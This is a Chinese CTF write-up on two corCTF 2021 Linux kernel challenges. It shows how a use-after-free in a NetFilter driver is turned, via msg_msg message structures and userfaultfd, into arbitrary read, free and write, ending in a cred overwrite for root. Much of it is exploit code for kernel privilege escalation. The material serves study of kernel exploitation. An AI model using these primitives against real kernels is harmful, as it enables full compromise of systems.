Linux内核中利用msg_msg结构实现任意地址读写-安全客

题目及exp下载 —— https://github.com/bsauce/CTF/tree/master/corCTF%202021

介绍：本文示例是来自corCTF 2021中的两个内核题，由 BitsByWill 和 D3v17 所出。针对UAF漏洞，漏洞对象从kmalloc-64到kmalloc-4096，都能利用 msg_msg 结构实现任意写。本驱动是基于NetFilter所写，有两个模式，简单模式（对应题目Fire_of_Salvation）和复杂模式（对应题目Wall_of_Perdition），所用的内核bzImage相同。二者的区别是，简单模式下，rule_t 规则结构包含长度 0x800 的字符串成员 rule_t->desc，漏洞对象位于kmalloc-4k，复杂模式下rule_t 规则也即漏洞对象位于kmalloc-64。

总结：如果UAF的漏洞对象是kmalloc-4096，就很容易构造重叠的漏洞对象和msg_msg结构消息块（都位于kmalloc-4096），篡改msg_msg->m_ts和msg_msg->next实现任意地址读写。

如果UAF的漏洞对象小于kmalloc-4096，例如kmalloc-64，则可以先构造重叠的漏洞对象和msg_msg结构消息块（都位于kmalloc-64），篡改msg_msg->m_ts和msg_msg->next实现越界读和任意地址读；然后篡改msg_msg->next实现任意地址释放，再构造重叠的消息块（位于kmalloc-4096的msg_msgseg消息和msg_msg消息），利用userfault用户页错误处理控制消息写入的时机，篡改msg_msg->next指针指向cred地址，实现任意地址写。

注意，调用msgrcv()读取内核数据时，如果带上MSG_COPY标志，就能避免内核unlink消息，以避免第一次泄露地址时未正确伪造msg_msg->m_list.next和msg_msg->m_list.prev导致unlink时崩溃。

缓解机制：开启 CONFIG_SLAB_FREELIST_RANDOM 机制后，就能阻止该利用，但其实 CONFIG_SLAB_FREELIST_RANDOM 只能降低第2题泄露地址的成功率，但是泄露失败后程序会停止，泄露成功后程序会提权成功，所以多试几次就能提权成功了。

1. 漏洞分析

代码分析：共5个函数功能，用户通过传入 user_rule_t 结构来创建路由规则并存入 rule_t 结构中，多条进出处理规则分别存入 firewall_rules_in 和 firewall_rules_out 全局数组中（每个数组最多存0x80条规则）。

firewall_add_rule()——添加一条规则。rule_t 规则结构如下。

typedef struct
{
    char iface[16];            // 设备名
    char name[16];            // 规则名
    uint32_t ip;
    uint32_t netmask;
    uint16_t proto;            // 只能是 TCP 或 UDP
    uint16_t port;
    uint8_t action;            // 只能是 DROP 或 ACCEPT
    uint8_t is_duplicated;
    #ifdef EASY_MODE
    char desc[DESC_MAX];
    #endif
} rule_t;

firewall_delete_rule()——释放规则，并将全局数组上对应的指针清0。
firewall_show_rule()——未实现。
firewall_edit_rule()——编辑规则。
firewall_dup_rule()——复制规则，将firewall_rules_in 指针复制到firewall_rules_out 数组，或者相反。每条规则只能复制一次，通过rule_t->is_duplicated来记录是否被复制过。漏洞就在这里，可以先复制规则，再释放规则，导致UAF或double-free，只能写不能读，而且只能UAF写 0x28 – 0x30 字节。
process_rule()处理规则：（本函数与漏洞利用无关）nf_register_net_hook()——NetFilter hooks注册钩子函数。nf_hook_ops 是注册的钩子函数的核心结构。本驱动的钩子点是NF_INET_PRE_ROUTING 和 NF_INET_POST_ROUTING，应该是分别在在路由前和路由后执行钩子函数 firewall_inbound_hook() 和 firewall_outbound_hook() 函数。钩子函数 firewall_inbound_hook() 和 firewall_outbound_hook() 函数在收到进出的 sk_buff 数据后，分别按照进出规则调用 process_rule() 函数来处理数据。
- 首先设备名skb->dev->name 和 rule_t->ifaces 要匹配；
- 如果是进数据，则源ip所属的子网要匹配；如果是出数据，则目的ip所属的子网要匹配；
- 如果是TCP数据包，rule_t->port 要和目标端口匹配，rule_t->action 要为NF_DROP 或 NF_ACCEPT 接收状态，打印信息。
- 如果是UDP数据包，rule_t->port 要和目标端口匹配，rule_t->action 要为NF_DROP 或 NF_ACCEPT 接收状态，打印信息。

漏洞：只能UAF写 0x28 – 0x30 字节，不能UAF读，因为没有实现firewall_show_rule()功能。

保护机制：SMAP/SMEP/KPTI, FG-KASLR, SLAB_RANDOM, SLAB_HARDENED, STATIC_USERMODE_HELPER。使用SLAB分配器。可以从给出的配置文件中看出，允许userfaultfd 调用、hardened_usercopy、CHECKPOINT_RESTORE。

利用局限：

由于使用了SLAB分配器，所以chunk上没有 freelist 指针（即便有freelist指针，也不在前0x30用户可控的区域，可能内核把freelist指针后移了）；
FG-KASLR机制会阻碍你覆盖内核结构上的函数指针，例如sk_buff结构中的destructor arg回调函数指针，多数不在.text前面的gadget受到影响；ROP还能用，不过必须先任意读ksymtab泄露所在函数的地址；
设置CONFIG_STATIC_USERMODEHELPER，使得覆盖modprobe_path或core_pattern的方法不再适用；physmap喷射可用，但是不稳定；综上，绕过SMAP最直接的方法是构造任意读，来读取task双链表，找到当前的task并覆盖cred。

2. 内核IPC——msgsnd()与msgrcv()源码分析

介绍：内核提供了两个syscall来进行IPC通信， msgsnd() 和 msgrcv()，内核消息包含两个部分，消息头 msg_msg 结构和紧跟的消息数据。长度从kmalloc-64 到 kmalloc-4096。消息头 msg_msg 结构如下所示。

struct msg_msg {
    struct list_head m_list;
    long m_type;
    size_t m_ts;        /* message text size */
    struct msg_msgseg *next;
    void *security;        // security指针总为0，因为未开启SELinux
    /* the actual message follows immediately */
};

2.1 `msgsnd()` 数据发送

总体流程：当调用 msgsnd() 来发送消息时，调用 msgsnd() -> ksys_msgsnd() -> do_msgsnd() -> load_msg() -> alloc_msg() 来分配消息头和消息数据，然后调用 load_msg() -> copy_from_user() 来将用户数据拷贝进内核。

示例：例如，如果想要发送一个包含 0x1fc8 个 A的消息，用户态首先调用msgget() 创建消息队列，然后调用 msgsnd()发送数据：

[...]

struct msgbuf
{
    long mtype;
    char mtext[0x1fc8];
} msg;

msg.mtype = 1;
memset(msg.mtext, 'A', sizeof(msg.mtext));

qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT));
msgsnd(qid, &msg, sizeof(msg.mtext), 0);

[...]

创建消息： do_msgsnd() -> load_msg() -> alloc_msg() 。总结，如果消息长度超过0xfd0，则分段存储，采用单链表连接，第1个称为消息头，用 msg_msg 结构存储；第2、3个称为segment，用 msg_msgseg 结构存储。消息的最大长度由 /proc/sys/kernel/msgmax 确定，默认大小为 8192 字节，所以最多链接3个成员。

static struct msg_msg *alloc_msg(size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg **pseg;
    size_t alen;

    alen = min(len, DATALEN_MSG);                             // [1] len 是用户提供的数据size，本例中为0x1fc8。 DATALEN_MSG = ((size_t)PAGE_SIZE - sizeof(struct msg_msg)) = 0x1000-0x30 = 0xfd0。 本例中 alen = 0xfd0
    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT); // [2] 这里分配 0x1000 堆块，对应 kmalloc-4096
    if (msg == NULL)
        return NULL;

    msg->next = NULL;
    msg->security = NULL;

    len -= alen;                                             // [3] 待分配的size，继续分配，用单链表存起来。 len = 0x1fc8-0xfd0 = 0xff8
    pseg = &msg->next;
    while (len > 0) {
        struct msg_msgseg *seg;

        cond_resched();

        alen = min(len, DATALEN_SEG);                         // [4] DATALEN_SEG = ((size_t)PAGE_SIZE - sizeof(struct msg_msgseg)) = 0x1000-0x8 = 0xff8。 alen = 0xff8
        seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT); // [5] 还是分配 0x1000，位于kmalloc-4096
        if (seg == NULL)
            goto out_err;
        *pseg = seg;                                         // [6] 单链表串起来
        seg->next = NULL;
        pseg = &seg->next;
        len -= alen;
    }

    return msg;

out_err:
    free_msg(msg);
    return NULL;
}

拷贝消息： do_msgsnd() -> load_msg() -> copy_from_user() 。将消息从用户空间拷贝到内核空间。

struct msg_msg *load_msg(const void __user *src, size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg *seg;
    int err = -EFAULT;
    size_t alen;

    msg = alloc_msg(len);                         // [1]
    if (msg == NULL)
        return ERR_PTR(-ENOMEM);

    alen = min(len, DATALEN_MSG);
    if (copy_from_user(msg + 1, src, alen))     // [2] 从用户态拷贝数据，0xfd0字节
        goto out_err;

    for (seg = msg->next; seg != NULL; seg = seg->next) {
        len -= alen;
        src = (char __user *)src + alen;
        alen = min(len, DATALEN_SEG);
        if (copy_from_user(seg + 1, src, alen)) // [3] 剩下的拷贝到其他segment，0xff8字节
            goto out_err;
    }

    err = security_msg_msg_alloc(msg);
    if (err)
        goto out_err;

    return msg;

out_err:
    free_msg(msg);
    return ERR_PTR(err);
}

内核消息结构：

2.2 `msgsrv()` 数据接收

总体流程： msgrcv() -> ksys_msgrcv() -> do_msgrcv() -> find_msg() & do_msg_fill() & free_msg()。调用 find_msg() 来定位正确的消息，将消息从队列中unlink，再调用 do_msg_fill() -> store_msg() 来将内核数据拷贝到用户空间，最后调用 free_msg() 释放消息。

long ksys_msgrcv(int msqid, struct msgbuf __user *msgp, size_t msgsz,
         long msgtyp, int msgflg)
{
    return do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);
}

static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
           long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{        // 注意：msg_handler 参数实际指向 do_msg_fill() 函数
    int mode;
    struct msg_queue *msq;
    struct ipc_namespace *ns;
    struct msg_msg *msg, *copy = NULL;
    DEFINE_WAKE_Q(wake_q);
    ... ...
    if (msgflg & MSG_COPY) {
        if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
            return -EINVAL;
        copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax)); // [4]
        if (IS_ERR(copy))
            return PTR_ERR(copy);
    }
    mode = convert_mode(&msgtyp, msgflg);

    rcu_read_lock();
    msq = msq_obtain_object_check(ns, msqid);
    ... ...
    for (;;) {
        struct msg_receiver msr_d;

        msg = ERR_PTR(-EACCES);
        if (ipcperms(ns, &msq->q_perm, S_IRUGO))
            goto out_unlock1;

        ipc_lock_object(&msq->q_perm);

        /* raced with RMID? */
        if (!ipc_valid_object(&msq->q_perm)) {
            msg = ERR_PTR(-EIDRM);
            goto out_unlock0;
        }

        msg = find_msg(msq, &msgtyp, mode);     // [1] 调用 find_msg() 来定位正确的消息。之后检查并unlink消息。
        if (!IS_ERR(msg)) {
            /*
             * Found a suitable message.
             * Unlink it from the queue.
             */
            if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
                msg = ERR_PTR(-E2BIG);
                goto out_unlock0;
            }
            /*
             * If we are copying, then do not unlink message and do
             * not update queue parameters.
             */
            if (msgflg & MSG_COPY) {
                msg = copy_msg(msg, copy);         // [5] 若设置了MSG_COPY，则跳出循环，避免unlink
                goto out_unlock0;
            }

            list_del(&msg->m_list);
            ... ...
    }

out_unlock0:
    ipc_unlock_object(&msq->q_perm);
    wake_up_q(&wake_q);
out_unlock1:
    rcu_read_unlock();
    if (IS_ERR(msg)) {
        free_copy(copy);
        return PTR_ERR(msg);
    }

    bufsz = msg_handler(buf, msg, bufsz);     // [2] 调用 do_msg_fill() 把消息从内核拷贝到用户。具体代码如下所示
    free_msg(msg);                             // [3] 拷贝完成后，释放消息。

    return bufsz;
}

消息拷贝： do_msg_fill() -> store_msg() 。和创建消息的过程一样，先拷贝消息头（msg_msg结构对应的数据），再拷贝segment（msg_msgseg结构对应的数据）。

static long do_msg_fill(void __user *dest, struct msg_msg *msg, size_t bufsz)
{
    struct msgbuf __user *msgp = dest;
    size_t msgsz;

    if (put_user(msg->m_type, &msgp->mtype))
        return -EFAULT;

    msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;     // [1] 检查请求的数据长度是否大于 msg->m_ts ，超过则只能获取 msg->m_ts 长度的数据（为了避免越界读）。本例中，msgsz 为0x1fc8字节，
    if (store_msg(msgp->mtext, msg, msgsz))             // [2] 最后调用 store_msg()将 msgsz也即0x1fc8字节拷贝到用户空间，代码如下所示
        return -EFAULT;
    return msgsz;
}

int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
    size_t alen;
    struct msg_msgseg *seg;

    alen = min(len, DATALEN_MSG);                 // [1] 和创建消息的过程一样，alen=0xfd0
    if (copy_to_user(dest, msg + 1, alen))         // [2] 先拷贝消息头
        return -1;

    for (seg = msg->next; seg != NULL; seg = seg->next) { // [3] 遍历其他segment
        len -= alen;
        dest = (char __user *)dest + alen;
        alen = min(len, DATALEN_SEG);             // [4] 本例中为0xff8
        if (copy_to_user(dest, seg + 1, alen))     // [5] 再拷贝segment
            return -1;
    }
    return 0;
}

消息释放：store_msg() 。先释放消息头，再释放segment。

void free_msg(struct msg_msg *msg)
{
    struct msg_msgseg *seg;

    security_msg_msg_free(msg);

    seg = msg->next;
    kfree(msg);              // [1] 释放 msg_msg
    while (seg != NULL) {     // [2] 释放 msg_msgseg
        struct msg_msgseg *tmp = seg->next;

        cond_resched();
        kfree(seg);         // [3]
        seg = tmp;
    }
}

MSG_COPY：见 do_msgrcv() 中 [4]处，如果用flag MSG_COPY来调用 msgrcv() （内核编译时需配置CONFIG_CHECKPOINT_RESTORE选项，默认已配置），就会调用 prepare_copy() 分配临时消息，并调用 copy_msg() 将请求的数据拷贝到该临时消息（见 do_msgrcv() 中 [5]处）。在将消息拷贝到用户空间之后，原始消息会被保留，不会从队列中unlink，然后调用free_msg()删除该临时消息，这对于利用很重要。

为什么？因为本漏洞在第一次UAF的时候，没有泄露正确地址，所以会破坏msg_msg->m_list双链表指针，unlink会触发崩溃。本题的UAF会破坏前16字节，如果某漏洞可以跳过前16字节，是否不需要注意这一点？

void *memdump = malloc(0x1fc8);
msgrcv(qid, memdump, 0x1fc8, 1, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

3. Fire of Salvation 简单模式利用

特点：大小为kmalloc-4096的UAF。

任意读：hardened_usercopy 机制不允许修改size越界读写。可利用UAF篡改msg_msg->m_ts和msg_msg->next（指向的下一个segment前8字节必须为null，避免遍历消息时出现访存崩溃）。

任意写：创建一个需要多次分配堆块的消息（>0xfd0），在拷贝消息头（msg_msg结构）的时候利用userfault进行挂起，然后利用UAF篡改msg_msg->next指向目标地址，目标地址的前8字节必须为NULL（避免崩溃），解除挂起后就能实现任意写。任意写的原理如下图所示：

3.1 步骤1——泄露内核基址

泄露内核基址：由于开启了FG-KASLR，只能喷射大量shm_file_data对象（kmalloc-32）来泄露地址，因为FG-KASLR是在boot时对函数和某些节进行二次随机化，而shm_file_data->ns这种指向全局结构的指针不会被二次随机化。我们可以传入消息来分配1个kmalloc-4096的消息头和1个kmalloc-32的segment，然后利用UAF改大msg_msg->m_ts，调用msgrcv()读内存，这样就能越界读取多个kmalloc-32结构，泄露地址。注意，需使用MSG_COPY flag避免unlink时崩溃。原理如下图所示：

3.2 步骤2——泄露cred地址

泄露cred地址：再次利用任意读，从init_task开始找到当前进程的task_struct（也可以调用 prctl SET_NAME来设置comm成员，以此标志来暴搜，详见 Google CTF Quals 2021 Fullchain writeup）。本题提供了vmlinux符号信息，task_struct->tasks偏移是0x398，该位置的前8字节为null，可以当作1个segment；real_cred和cred指针在偏移0x538和0x540处，前面8字节也是null。利用UAF改大msg_msg->m_ts，将msg_msg->next改为&task_struct+0x298-8，调用msgrcv()读内存。

3.3 步骤3——篡改`cred & real_cred`指针

篡改cred & real_cred指针：根据pid找到当前进程后，利用UAF篡改msg_msg->next指向&real_cred-0x8，调用msgsnd()写内存，即可将real_cred和cred指针替换为init_cred即可提权。

4. Wall of Perdition 复杂模式利用

特点：大小为kmalloc-64的UAF。

现有的任意写、任意释放技术： Four Bytes of Power: Exploiting CVE-2021-26708 in the Linux kernel 中介绍了如何伪造msg_msg->m_ts来实现任意写，也通过msg_msg->security指针实现了任意释放，但是本题关闭了SELinux，则msg_msg->security指针总是指向NULL，本题不适用。

4.1 步骤1——越界读泄露内核基址、`msg_msg->m_list.next / prev`

创建2个消息队列：

[...]

void send_msg(int qid, int size, int c)
{
    struct msgbuf
    {
        long mtype;
        char mtext[size - 0x30];
    } msg;

    msg.mtype = 1;
    memset(msg.mtext, c, sizeof(msg.mtext));

    if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) == -1)
    {
        perror("msgsnd");
        exit(1);
    }
}

[...]

// [1] 先调用msgget()创建两个队列，第一个标记为QID #0，第二个标记为QID #1。
if ((qid[0] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
{
    perror("msgget");
    exit(1);
}

if ((qid[1] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
{
    perror("msgget");
    exit(1);
}

// [2] 调用 add_rule() 向firewall_rules_in添加inbound规则，再调用 duplicate_rule() 复制到 firewall_rule_out，释放后还能从 firewall_rule_out[1] 访问，触发UAF
add_rule(0, buff, INBOUND);
duplicate_rule(0, INBOUND);
delete_rule(0, INBOUND);

send_msg(qid[0], 0x40, 'A'); // [3] 调用send_msg()，也即对msgsnd()的包装函数，分配3个消息。第1个大小为0x40, 位于队列 QID #0, 由于和刚刚释放的rule位于同一个kmalloc-64，所以能修改该消息的msg_msg头结构。
send_msg(qid[1], 0x40, 'B'); // [4] 第2个消息在队列QID #1中，大小为0x40字节
send_msg(qid[1], 0x1ff8, 0); // [5] 第3个消息在队列QID #1中，大小为0x1ff8字节

[...]

消息布局： QID #0 消息队列——橘色部分是第1个消息，堆块大小0x40，可通过 edit_rule() 完全控制。 QID #1消息队列——第1个消息，堆块大小为0x40，其 msg_msg->m_list.prev 指向消息队列 QID #1，m_list.next指向第2个消息，占两个kmalloc-4096。

泄露内存：利用UAF改大 QID #0 队列的消息msg_msg->m_ts，调用msgrcv()越界读取 QID #0 队列的第1个消息，m_list.next （指向下一个消息 kmalloc-4096）和 m_list.prev （指向QID #1队列），最后我们还能泄露 sysfs_bin_kfops_ro，由于该符号位于内核的data节，所以不受FG-KASLR保护的影响，所以可以用来计算内核基址。

[...]

void *recv_msg(int qid, size_t size)
{
    void *memdump = malloc(size);

    if (msgrcv(qid, memdump, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR) == -1)
    {
        perror("msgrcv");
        return NULL;
    }

    return memdump;
}

[...]

uint64_t *arb_read(int idx, uint64_t target, size_t size, int overwrite)
{
    struct evil_msg *msg = (struct evil_msg *)malloc(0x100);

    msg->m_type =  0;
    msg->m_ts = size;                         // [2] 调用edit_rule()覆盖目标对象的 m_ts 域

    if (overwrite)
    {
        msg->next = target;
        edit_rule(idx, (unsigned char *)msg, OUTBOUND, 0);
    }
    else
    {
        edit_rule(idx, (unsigned char *)msg, OUTBOUND, 1); // [3]
    }

    free(msg);

    return recv_msg(qid[0], size);             // [4] 调用 recv_msg(),也即msgrcv()的包装函数,注意使用 MSG_COPY flag, 就能泄露内存。由于我们破坏了 m_list.next 和 m_list.prev 指针，所以如果不使用 MSG_COPY flag 的话，do_msgrcv() 就会 unlink message，导致出错崩溃。
}

[...]

uint64_t *leak = arb_read(0, 0, 0x2000, 0); // [1] 调用 arb_read(), 参数0x2000

[...]

4.2 步骤2——越界读到任意读，泄露当前进程的cred地址

思路：根据sysfs_bin_kfops_ro 地址可计算出内核基址，得到init_task的地址，即系统执行的第一个进程的 task_struct 结构。 task_struct 中有3个成员很重要：tasks 包含指向前后 task_struct的指针（偏移0x298），pid 进程号（偏移0x398），cred 进程的凭证（偏移0x540）。

exp中，我们调用 find_current_task() 来遍历所有的task [1]，从init_task开始找到当前进程的task_struct [2]，find_current_task()多次调用 arb_read()，利用UAF篡改msg_msg->m_ts 和msg_msg->next指针，调用msgrcv()泄露出指向下一个task的tasks->next指针 [3] 和 PID [4]，然后直到找到当前task。

[...]

uint64_t find_current_task(uint64_t init_task)
{
    pid_t pid, next_task_pid;
    uint64_t next_task;

    pid = getpid();

    printf("[+] Current task PID: %d\n", pid);
    puts("[*] Traversing tasks...");

    leak = arb_read(0, init_task + 8, 0x1500, 1) + 0x1f9;
    next_task = leak[0x298/8] - 0x298;

    leak = arb_read(0, next_task + 8, 0x1500, 1) + 0x1f9;
    next_task_pid = leak[0x398/8];

    while (next_task_pid != pid)             // [2]
    {
        next_task = leak[0x298/8] - 0x298;     // [3]
        leak = arb_read(0, next_task + 8, 0x2000, 1) + 0x1f9;
        next_task_pid = leak[0x398/8];         // [4]
    }

    puts("[+] Current task found!");

    return next_task;
}

[...]

puts("[*] Locating current task address...");
uint64_t current_task = find_current_task(init_task); // [1]
printf("[+] Leaked current task address: 0x%lx\n", current_task);

[...]

具体：篡改 msg_msg->m_ts 为0x2000，篡改 msg_msg->next指针指向 task_struct结构（注意头8字节为null），遍历双链表直到读取到当前进程的task_struct。同理泄露当前进程的cred地址。

[...]

leak = arb_read(0, current_task, 0x2000, 1) + 0x1fa;
cred_struct = leak[0x540/8];
printf("[+] Leaked current task cred struct: 0x%lx\n", cred_struct);

[...]

4.3 步骤3——任意释放

目标：目前已获取当前进程的task地址和cred地址，需构造任意写，但前提需要构造任意释放。根本目标是构造重叠的kmalloc-4096堆块，让其既充当一个消息的msg_msgseg segment，又充当另一个消息的msg_msg，这样就能覆写msg_msg->next指针构造任意写。问题，为什么不构造重叠的kmalloc-64？因为kmalloc-64作为msg_msg的话不可能有segment，不能伪造它的msg_msg->next来任意写；且传入的长度已确定，无法写segment来任意写。

释放消息：首先释放QID #1中的消息，两次调用msgrcv()（不带MSG_COPY flag）。

（1）第一次调用 msgrcv()，内核释放QID #1中第1个消息-kmalloc-64；
（2）第二次调用 msgrcv()，内核释放第2个消息-kmalloc-4096和相应的segment（也在kmalloc-4096中）。

[...]

msgrcv(qid[1], memdump, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR); // [1]
msgrcv(qid[1], memdump, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR); // [2]

[...]

内存布局如下：

kmalloc-4096释放顺序：注意，前面的exp中，我们泄露了kmalloc-4096的地址（QID #1 中消息2的msg_msg地址），前面我们第2次调用msgrcv()时，内核调用 do_msgrcv() -> free_msg() 先释放 kmalloc-4096的msg_msg，再释放kmalloc-4096的segment，由于后进先出，分配新的消息时会先获取segment对应的kmalloc-4096，所以新的msg_msg占据之前的segment，新的segment占据之前的msg_msg。

申请消息-QID #2：子线程创建新消息，首先创建队列QID #2 [2]，再调用msgsnd()创建0x1ff8大小的消息（0x30的头和0x1fc8的数据），内核中会创建0x30+0xfd0大小的msg_msg和0x8+0xff8大小的msg_msgseg。

用户传入数据位于page_1 + PAGE_SIZE - 0x10，使用 userfaultfd 来监视 page_1 + PAGE_SIZE 位置，等待页错误，第2个页错误。当load_msg()调用copy_from_user()拷贝时触发页错误，结果如下图所示，现在我们已知新的segment地址（QID #1 中消息2的msg_msg地址），原因已经阐明。QID #2 布局如下图所示：

[...]

void *allocate_msg1(void *_)
{
    printf("[Thread 1] Message buffer allocated at 0x%lx\n", page_1 + PAGE_SIZE - 0x10);

    if ((qid[2] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) // [2] 创建队列 QID #2 
    {
        perror("msgget");
        exit(1);
    }

    memset(page_1, 0, PAGE_SIZE);
    ((unsigned long *)(page_1))[0xff0 / 8] = 1;

    if (msgsnd(qid[2], page_1 + PAGE_SIZE - 0x10, 0x1ff8 - 0x30, 0) < 0) // [3] 调用msgsnd() 创建0x1ff8大小的消息，新的`msg_msg`占据之前的segment，新的segment占据之前的`msg_msg`。
    {
        puts("msgsend failed!");
        perror("msgsnd");
        exit(1);
    }

    puts("[Thread 1] Message sent, *next overwritten!");
}

[...]

pthread_create(&tid[2], NULL, allocate_msg1, NULL); // [1] 子线程创建新消息

[...]

任意释放：调用arb_free()，伪造QID #0队列中的消息结构，并释放 QID #0 中的消息。

[...]

void arb_free(int idx, uint64_t target)
{
    struct evil_msg *msg = (struct evil_msg *)malloc(0x100);
    void *memdump = malloc(0x2000);

    msg->m_list.next = queue;         // [2] 指向 QID #1
    msg->m_list.prev = queue;
    msg->m_type =  1;
    msg->m_ts = 0x10;
    msg->next = target;             // [3] 下一个segment指向QID #1队列中的segment

    edit_rule(idx, (unsigned char *)msg, OUTBOUND, 0);             // [4] 修改 QID #0 中的消息头结构

    puts("[*] Triggering arb free...");
    msgrcv(qid[0], memdump, 0x10, 1, IPC_NOWAIT | MSG_NOERROR); // [5] 释放 QID #0 中的消息
    puts("[+] Target freed!");

    free(memdump);
    free(msg);
}

[...]

arb_free(0, large_msg);             // [1]

[...]

[2]：我们用之前泄露的 QID #1 队列的地址，来修复 QID #0 中的 msg_msg->m_list.next 和 msg_msg->m_list.prev ，这样我们就能调用 msgrcv() 释放 QID #0 中的消息，不用 MSG_COPY flag 也能避免内核unlink时崩溃。
[3]：使msg_msg->next指向之前泄露的message slab，也就是现在的QID #2消息的segment ；
[4]：调用 edit_rule() 修改 msg_msg 头结构后，堆布局如下：
[5]：不带 MSG_COPY flag 调用 msgrcv()，内核将会调用free_msg()释放 QID #0 中的消息和 new segment。

4.4 步骤4——任意写，篡改cred

思路：现在 QID #2中的msg_msg->next指向一个空闲的kmalloc-4096 （上一步利用任意释放原语所释放）。现在分配新消息占据该kmalloc-4096，即可通过QID #2篡改新消息的msg_msg->next实现任意写。

[...]

void *allocate_msg2(void *_)
{
    printf("[Thread 2] Message buffer allocated at 0x%lx\n", page_2 + PAGE_SIZE - 0x10);

    if ((qid[3] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) // [2] 创建队列 QID #3
    {
        perror("msgget");
        exit(1);
    }

    memset(page_2, 0, PAGE_SIZE);
    ((unsigned long *)(page_2))[0xff0 / 8] = 1;

    if (msgsnd(qid[3], page_2 + PAGE_SIZE - 0x10, 0x1028 - 0x30, 0) < 0) // [3] 分配0x1028字节的消息（0x30头 + 0xff8数据），内核中会分配1个 `0x30+0xfd0` 的消息块（和之前任意释放的segment位于同一块）和1个`0x8+0x28`字节的segment（位于`kmalloc-64`）。
    {
        puts("msgsend failed!");
        perror("msgsnd");
        exit(1);
    }

    puts("[Thread 2] Message sent, target overwritten!");
}

[...]

pthread_create(&tid[3], NULL, allocate_msg2, NULL);     // [1] 创建子线程执行allocate_msg2()

[...]

[2]：创建队列 QID #3。
[3]：调用msgsend() 分配0x1028字节的消息（0x30头 + 0xff8数据），内核中会分配1个 0x30+0xfd0 的消息块（和之前任意释放的segment位于同一块）和1个0x8+0x28字节的segment（位于kmalloc-64）。
用户传入数据位于page_2 + PAGE_SIZE - 0x10，使用 userfaultfd 来监视 page_2 + PAGE_SIZE 位置，等待页错误，第2个页错误。触发页错误时，堆布局如下：

篡改QID #3 中msg_msg->next指针：释放第1个错误处理，将QID #3中的msg_msg->next指针，篡改为当前进程的cred-0x8（因为segment的头8字节必须为null，避免load_msg()访问next segment时崩溃）。

[...]

        if (page_fault_location == page_1 + PAGE_SIZE)
        {
            printf("[PFH 1] Page fault at 0x%lx\n", page_fault_location);
            memset(buff, 0, PAGE_SIZE);

            puts("[PFH 1] Releasing faulting thread");

            struct evil_msg *msg = (struct evil_msg *)(buff + 0x1000 - 0x40);

            msg->m_type =  0x1;
            msg->m_ts = 0x1000;
            msg->next = (uint64_t)(cred_struct - 0x8); // [1] 将 QID #3 中的 msg_msg->next 指针，篡改为当前进程的 cred-0x8

            ufd_copy.dst = (unsigned long)(page_fault_location);
            ufd_copy.src = (unsigned long)(&buff);
            ufd_copy.len = PAGE_SIZE;
            ufd_copy.mode = 0;
            ufd_copy.copy = 0;

            for (;;)
            {
                if (release_pfh_1)
                {
                    if (ioctl(ufd, UFFDIO_COPY, &ufd_copy) < 0)
                    {
                        perror("ioctl(UFFDIO_COPY)");
                        exit(1);
                    }

                    puts("[PFH 1] Faulting thread released");
                    break;
                }
            }
        }

[...]

篡改cred：释放第2个错误处理，将当前进程的cred覆盖为0，最终提权。